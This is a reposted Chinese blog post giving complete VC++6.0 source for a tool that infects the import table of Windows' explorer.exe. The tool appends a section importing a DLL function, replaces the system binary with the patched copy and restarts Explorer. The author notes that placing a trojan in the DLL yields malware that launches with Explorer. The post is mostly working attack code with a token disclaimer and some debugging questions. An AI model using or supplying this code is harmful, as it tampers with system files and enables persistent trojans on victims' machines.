感染导入表方法附源码(转载)

在explorer.exe中添加了MyDLL.dll的一个导出函数MainFun,如果你想先看看效果可以先把附件下下来,把其中的MyDLL.dll放入环境变量path目录中,例如system32目录就可满足你的需要,然后运行InfectImport.exe,你会看到一个对话框“MainFun成功导入explorer.exe”,因为我在dll被加载时启动了一个线程,然后输出这句话,是不是有点小题大作了,呵呵,一点也没有小题大作,当把木马程序放入线程函数中就会成为一个不需要远程线程注入的随explorer.exe启动的木马了,是不是有点心动啊,呵呵,不过还是不要干非法勾当为好,技术交流就好。
以下为源代码,在vc++6.0中编译通过.

  1 #include <windows.h>
  2 #include <IMAGEHLP.H>
  3 #include <stdio.h>
  4 #pragma comment(lib,"IMAGEHLP.lib")
  5 
  6 //用来计算对齐数据后的大小
  7 int alig(int size,unsigned int align)
  8 {
  9   if(size%align!=0)
 10     return (size/align+1)*align;
 11   else 
 12     return size;
 13 }
 14 
 15 int main()
 16 {
 17   char WinPath[MAX_PATH];   
 18   char FilePath[MAX_PATH];
 19   char NewPath[MAX_PATH];
 20   char TemPath[MAX_PATH];
 21   char LogPath[MAX_PATH];
 22   FILE* fp;
 23   
 24   ::GetWindowsDirectory(WinPath,sizeof(WinPath));  //获取windows所在目录
 25   ::memcpy(FilePath,WinPath,sizeof(WinPath));      
 26   ::memcpy(NewPath,WinPath,sizeof(WinPath));
 27   ::memcpy(TemPath,WinPath,sizeof(WinPath));
 28   ::memcpy(LogPath,WinPath,sizeof(WinPath));
 29   
 30   ::strcat(FilePath,"\\explorer.exe");             //得到原文件路径
 31   ::strcat(NewPath,"\\explorer1.exe");             //修改文件路径
 32   ::strcat(TemPath,"\\temp.mainst");               //临时文件路径
 33   ::strcat(LogPath,"\\log.dat");             //log文件路径,防止修改修改过的explorer.exe
 34   
 35   //拷贝原始文件,为修改做准备
 36   ::CopyFile(FilePath,NewPath,false);
 37   ::CopyFile(FilePath,TemPath,false);
 38   
 39   fp=::fopen(LogPath,"r");
 40   if(fp != NULL) 
 41   {
 42     MessageBox(NULL,"explorer.exe已被修改过!","提示",MB_OK);
 43     return 1;
 44   }
 45   
 46   //打开需要修改的文件
 47   fp=::fopen(NewPath,"rb+");
 48   if(fp==NULL) 
 49   {
 50     ::DeleteFile(NewPath);
 51     ::DeleteFile(TemPath);
 52     return 0;
 53   }
 54   
 55   //往explorer.exe中添加我们准备好的函数
 56   LOADED_IMAGE img;
 57   HANDLE hFile;
 58   PUCHAR lpBaseAddr;
 59   PIMAGE_NT_HEADERS lpPEhead;
 60   PIMAGE_IMPORT_DESCRIPTOR lpImport,lpNewImport;
 61   ULONG ImportSize,NewImportSize;
 62   PIMAGE_SECTION_HEADER lpFirstSection;
 63   //保存文件对齐值与区块对齐值
 64   int SECTION_ALIG;
 65   int FILE_ALIG;
 66   int fre=0;
 67   int i=0;
 68   int nOldSectionNo;
 69   DWORD NewSecRVA,NewOffset,ThunkRVA,ImportRVA;
 70   IMAGE_SECTION_HEADER  NewSection;//要添加的区块
 71   IMAGE_NT_HEADERS NewNThead;
 72   memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
 73   IMAGE_SECTION_HEADER LastSection;                            //再定义一个区块,来保存原文件最后一个区块的信息
 74   
 75   //对以下使用的函数如果不太熟悉的,可以看看与PE文件相关的函数
 76   if(MapAndLoad("temp.mainst",WinPath,&img,false,false))       //获得PE文件相关数据
 77   { 
 78     hFile=img.hFile;
 79     lpBaseAddr=img.MappedAddress;
 80     lpPEhead=img.FileHeader;
 81     lpImport=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData
 82       
 83       (lpBaseAddr,FALSE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);
 84     ImportSize=lpPEhead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
 85     nOldSectionNo=lpPEhead->FileHeader.NumberOfSections;
 86     SECTION_ALIG=lpPEhead->OptionalHeader.SectionAlignment;
 87     FILE_ALIG=lpPEhead->OptionalHeader.FileAlignment;
 88     lpFirstSection=img.Sections;
 89     NewImportSize=ImportSize+sizeof(IMAGE_IMPORT_DESCRIPTOR);
 90     //获取最后一个节
 91     memcpy(&LastSection,(PIMAGE_SECTION_HEADER)((DWORD)img.Sections+sizeof(IMAGE_SECTION_HEADER)*(nOldSectionNo-1)),sizeof(IMAGE_SECTION_HEADER));    
 92     //计算新节的RVA
 93     NewSecRVA=LastSection.VirtualAddress+alig(LastSection.Misc.VirtualSize,SECTION_ALIG);
 94     //计算新节的文件偏移
 95     NewOffset=LastSection.PointerToRawData+alig(LastSection.SizeOfRawData,FILE_ALIG);
 96     //写入DLL名
 97     fseek(fp,NewOffset,SEEK_SET);
 98     fre=sizeof("MyDLL.dll");
 99     ::fwrite("MyDLL.dll",sizeof("MyDLL.dll"),1,fp);
100     
101     //准备IMAGE_IMPORT_BY_NAME结构
102     IMAGE_IMPORT_BY_NAME ImportFun;
103     ImportFun.Hint=0;
104     memcpy(ImportFun.Name,"MainFun",sizeof("MainFun"));
105     
106     DWORD ThunkData[2];
107     ThunkData[0]=NewSecRVA+fre;
108     ThunkData[1]=0;
109     
110     //写入IMAGE_IMPORT_BY_NAME结构
111     fseek(fp,NewOffset+fre,SEEK_SET);
112     fre+=sizeof("MainFun")+sizeof(WORD);
113     ::fwrite(&ImportFun,sizeof("MainFun")+sizeof(WORD),1,fp);
114     
115     fseek(fp,NewOffset+fre,SEEK_SET);
116     ThunkRVA=NewSecRVA+fre;
117     fre+=sizeof(DWORD)*2;
118     ::fwrite(ThunkData,sizeof(DWORD)*2,1,fp);
119     
120     ImportRVA=NewSecRVA+fre;
121     //准备新导入表结构,用来写入新文件
122     lpNewImport=(PIMAGE_IMPORT_DESCRIPTOR)::malloc(NewImportSize);
123     memset(lpNewImport,0,NewImportSize);
124     memcpy(lpNewImport,lpImport,ImportSize);
125     
126     //在导入表尾部组织一个新的导入项
127     while(1)
128     {
129       if(lpNewImport[i].OriginalFirstThunk == 0 && lpNewImport[i].TimeDateStamp == 0 && 
130         lpNewImport[i].ForwarderChain == 0 && lpNewImport[i].Name == 0 && lpNewImport[i].FirstThunk == 0)
131       {
132         lpNewImport[i].Name=NewSecRVA;
133         lpNewImport[i].TimeDateStamp=0;
134         lpNewImport[i].ForwarderChain=0;
135         lpNewImport[i].FirstThunk=ThunkRVA;
136         lpNewImport[i].OriginalFirstThunk=ThunkRVA;
137         break;
138       }
139       else i++;
140     }
141     
142     fseek(fp,NewOffset+fre,SEEK_SET);
143     fre += NewImportSize;
144     fwrite(lpNewImport,NewImportSize,1,fp);
145     ::free(lpNewImport);
146     
147     //文件对齐
148     int num=alig(fre,FILE_ALIG)-fre;
149     for(i=0; i<num; i++)
150       fputc('\0',fp);
151     //添加名为.newsec的新节
152     strcpy((char*)NewSection.Name,".newsec");
153     NewSection.VirtualAddress=NewSecRVA;
154     NewSection.PointerToRawData=NewOffset;
155     NewSection.Misc.VirtualSize=alig(fre,SECTION_ALIG);
156     NewSection.SizeOfRawData=alig(fre,FILE_ALIG);
157     NewSection.Characteristics=0xC0000040;
158     
159     fseek(fp,((DWORD)lpFirstSection-(DWORD)lpBaseAddr)+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
160     
161     //写入新的节表
162     fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp);
163     
164     //更新第一块节表属性
165     //此处为我困惑的地方,为什么要把第一个节的属性设为0xE0000020
166     //这个结论我是从比较loadPE修改过的文件中得出的
167     //如果没有此处工作,修改后的文件无法正常运行
168     //希望高人能给我解答下
169     memcpy(&NewSection,lpFirstSection,sizeof(IMAGE_SECTION_HEADER));
170     NewSection.Characteristics=0xE0000020;
171     fseek(fp,(DWORD)lpFirstSection-(DWORD)lpBaseAddr,SEEK_SET);
172     fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp);
173     
174     memcpy(&NewNThead,lpPEhead,sizeof(IMAGE_NT_HEADERS));
175     int nNewImageSize=lpPEhead->OptionalHeader.SizeOfImage+alig(fre,SECTION_ALIG);
176     NewNThead.OptionalHeader.SizeOfImage=nNewImageSize;
177     NewNThead.OptionalHeader.DataDirectory[11].Size=0;
178     NewNThead.OptionalHeader.DataDirectory[11].VirtualAddress=0;
179     NewNThead.OptionalHeader.DataDirectory[12].Size=0;
180     NewNThead.OptionalHeader.DataDirectory[12].VirtualAddress=0;
181     NewNThead.FileHeader.NumberOfSections=nOldSectionNo+1;
182     NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=ImportRVA;
183     NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size=NewImportSize;
184     fseek(fp,(DWORD)(lpPEhead)-(DWORD)lpBaseAddr,SEEK_SET);
185     
186     //写入更新后的PE头
187     fwrite(&NewNThead,sizeof(IMAGE_NT_HEADERS),1,fp);
188     fclose(fp);
189     UnMapAndLoad(&img);
190   }
191   else
192   {
193     ::DeleteFile(NewPath);
194     ::DeleteFile(TemPath);
195     return 0;
196   }
197   
198   //删除临时文件
199   ::DeleteFile(TemPath);
200   //干掉explorer.exe
201   ::rename(FilePath,TemPath);
202   //让我们修改过后的替换掉explorer.exe
203   ::rename(NewPath,FilePath);
204   
205   //创建日志文件,以免重复修改
206   fp=::fopen(LogPath,"w");
207   fclose(fp);
208   
209   //重新运行explorer
210   ::system("taskkill /F /im explorer.exe");
211   ::system("explorer.exe");
212   return 1;
213 }

以上就是我辛辛苦苦探索的结果了,希望各位不要嫌弃,由于本人编码水平并不是太高,所以考虑不周之处在所难免,若有高人看出,希望不吝赐教。在实现上面功能的过程当中,我也产生了很多的困惑,到如今都还是不太明白,在代码的注释当中我就说了一处,为什么非得把第一节的属性更新为0xE0000020,若不这样做,程序就不能正常初始化,刚开始我就忽略了这个地方,导致郁闷了很久,后来与loadPE修改过的文件一比较,终于恍然大悟,改后果然顺利运行。还有一个疑惑是与vc++6.0的编译器相关的,编译出来的debug版本修改过的explorer.exe顺利运行,编译出来的release版本修改过的explorer.exe不能运行,pe工具查看发现节的数目不正确,这叫我又郁闷了好一阵,我怀疑是编译器的优化造成的,默认的优化方式是最快速度,我把它改为默认,重新编译源文件后,一切正常。在这点上我提醒各位看客,如果想尝试自己编译上面的代码,请修改优化方式为默认就可以了。好了,以上就是我的成果以及一些困惑,希望大家各取所需,同时在拿的时候也不要忘了想想我提的问题。

下载:感染导入表

下载:恢复导入表

原文地址:https://www.cnblogs.com/FCoding/p/2592833.html